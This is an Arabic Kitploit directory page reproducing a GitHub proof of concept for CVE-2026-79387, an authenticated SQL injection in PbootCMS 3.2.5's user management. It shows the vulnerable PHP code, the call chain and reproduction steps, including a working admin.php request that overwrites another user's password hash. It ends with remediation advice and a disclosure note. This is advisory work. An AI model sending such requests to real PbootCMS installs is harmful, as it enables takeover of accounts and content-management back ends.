Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

إثبات المفهوم لـ CVE-2026-79387، حقن SQL مُصادق عليه في إدارة مستخدمي PbootCMS يسمح بتحديثات حقول عشوائية والاستيلاء على الحسابات.

عرض المستودع
منذ 10س 20دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-79387: حقن SQL في وحدة إدارة المستخدمين في PbootCMS V3.2.5

نظرة عامة

الحقلالتفاصيل
معرف CVECVE-2026-79387
المنتجPbootCMS
الإصدارات المتأثرة3.2.0 – 3.2.5، وربما إصدارات أقدم
نوع الثغرةحقن SQL (CWE-89)
ناقل الهجومعن بُعد (مصادق عليه)
خطورة CVSSعالية
مكتشف الثغرةJihaoLi
البائعhttps://www.pbootcms.com/

وصف الثغرة

توجد ثغرة حقن SQL في وحدة إدارة المستخدمين في PbootCMS V3.2.5. تكمن الثغرة في طريقة mod() داخل /apps/admin/controller/system/UserController.php (السطر 149) وطريقة modUser() داخل /apps/admin/model/system/UserModel.php.

معامل field يتحكم فيه المستخدم بالكامل عبر طلب GET دون أي تحقق من القائمة البيضاء. معامل value يتحكم فيه المستخدم أيضًا ويتم دمجها مباشرة في عبارة SQL الخاصة بـ UPDATE. يمكن للمهاجم المصادق عليه تحديد أي عمود في قاعدة البيانات كـ field (مثل password، username، status، role)، مما يتيح التلاعب التعسفي بالبيانات.

السبب الجذري

root@kitploit:~
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

يتم أخذ $field و $value مباشرة من المتغير الشامل $_GET ودمجهما في سلسلة SQL بدون أي تنقية، وبدون قائمة بيضاء، وبدون استعلامات معلمة. يتم بعد ذلك تمرير هذه السلسلة إلى UserModel::modUser()، التي تقوم بإعادة توجيهها إلى طريقة Model::update() الأساسية. نظرًا لأن الوسيطة عبارة عن سلسلة (وليست مصفوفة)، فإنها تتجاوز التحقق من اسم الحقل checkKey() ويتم تضمينها حرفيًا في جملة SET:

root@kitploit:~
UPDATE ay_user SET <يتحكم به المستخدم>= '<يتحكم به المستخدم>', update_user='admin' WHERE ucode='<ucode>'

سلسلة الاستدعاء

root@kitploit:~
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

التأثير

يمكن للمهاجم المصادق عليه:

  1. تعديل كلمة مرور أي مستخدم — بما في ذلك المسؤول الفائق (باستثناء المؤسس المدمج ucode=10001).
  2. تغيير حالة الحساب — تفعيل أو تعطيل أي حسابات تعسفية.
  3. حقن SQL أعمق — يسمح معامل value بالهروب من علامة الاقتباس المفردة، مما قد يتيح هجمات مكدسة أو قائمة على التكرار المنطقي.

يؤدي هذا إلى الاستيلاء على الحساب والسيطرة الكاملة على الواجهة الخلفية لنظام إدارة المحتوى.

خطوات إعادة الإنتاج

المتطلبات الأساسية

  • PbootCMS V3.2.5 مثبت محليًا (تم اختباره على 192.168.1.104، Apache/PHP 7.2.1/SQLite)
  • حساب مسؤول صالح في الواجهة الخلفية

الخطوة 1: تسجيل الدخول إلى لوحة الإدارة

قم بالوصول إلى لوحة تحكم PbootCMS وسجّل الدخول باستخدام حساب admin الافتراضي.

لوحة الإدارة

الخطوة 2: إنشاء مستخدم مستهدف

انتقل إلى إدارة النظام ← إدارة المستخدمين ← إضافة مستخدم. أنشئ مستخدمًا جديدًا:

  • اسم المستخدم: admin2
  • كلمة المرور: admin
  • الدور: مسؤول النظام

إنشاء مستخدم

الخطوة 3: التحقق من وجود المستخدم

تؤكد قائمة المستخدمين وجود admin2 مع ucode=10002:

قائمة المستخدمين

الخطوة 4: تأكيد كلمة المرور الأولية

افتح نافذة متصفح جديدة. حاول تسجيل الدخول باسم admin2 بكلمة المرور 123456 — سيفشل ذلك لأن كلمة المرور الفعلية هي admin:

فشل تسجيل الدخول

الخطوة 5: صياغة وتنفيذ الحمولة

باستخدام متصفح المسؤول المسجل الدخول بالفعل، انتقل إلى:

root@kitploit:~
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291 هو تجزئة MD5 لـ 123456.

تنفذ طريقة mod() الحقن وتعيد التوجيه عبر location(-1):

تم تنفيذ الحمولة - غير موجود

الخطوة 6: التحقق من تغيير كلمة المرور

الآن حاول تسجيل الدخول باستخدام admin2 / 123456:

نجاح تسجيل الدخول

تم تغيير كلمة المرور بنجاح عبر حقن SQL. تم تسجيل دخول المستخدم الآن بكلمة المرور الجديدة، مما يؤكد الاستيلاء الكامل على الحساب.

تحليل الكود المصدري

الكود المعرض للثغرة (UserController.php، السطر ~149)

الكود المصدري

طبقة قاعدة البيانات (Model.php - طريقة التحديث)

عندما تستقبل update() وسيطة سلسلة نصية، يتم استخدامها كما هي في جملة SET دون أي تهريب:

root@kitploit:~
final public function update($data = null)
{
    if (is_array($data)) {
        // Array path: checkKey() validates field names
        ...
    } else {
        // String path: NO VALIDATION AT ALL
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Direct execution, no prepared statement
}

المعالجة

  1. التحقق من القائمة البيضاء على معامل field — السماح فقط بأسماء الأعمدة المعروفة (status، username، realname، password).
  2. الاستعلامات المعلمة — استخدام العبارات المعدة مسبقًا بدلاً من دمج السلاسل النصية.
  3. تهريب مدخلات المستخدم — على الأقل، تنقية $value لمنع كسر علامات الاقتباس.
  4. فرض تجزئة كلمة المرور — إذا كان field هو password، قم بتطبيق encrypt_string() على القيمة قبل التخزين.
  5. تقييد مسار التعديل المستقل — يجب أن يتطلب فرع "تعديل حقل واحد" في mod() رمز CSRF صالحًا والتحقق من التفويض على مستوى الدور.

المراجع

  • الموقع الرسمي لـ PbootCMS
  • الكود المصدري لـ PbootCMS على Gitee
  • CVE-2026-79387

الإفصاح: تم الإبلاغ عن هذه الثغرة بشكل مسؤول إلى البائع. إذا كنت تشغل إصدارًا متأثرًا، فقم بالتحديث فورًا وتدقيق جميع حسابات الواجهة الخلفية.

تنزيل الأداة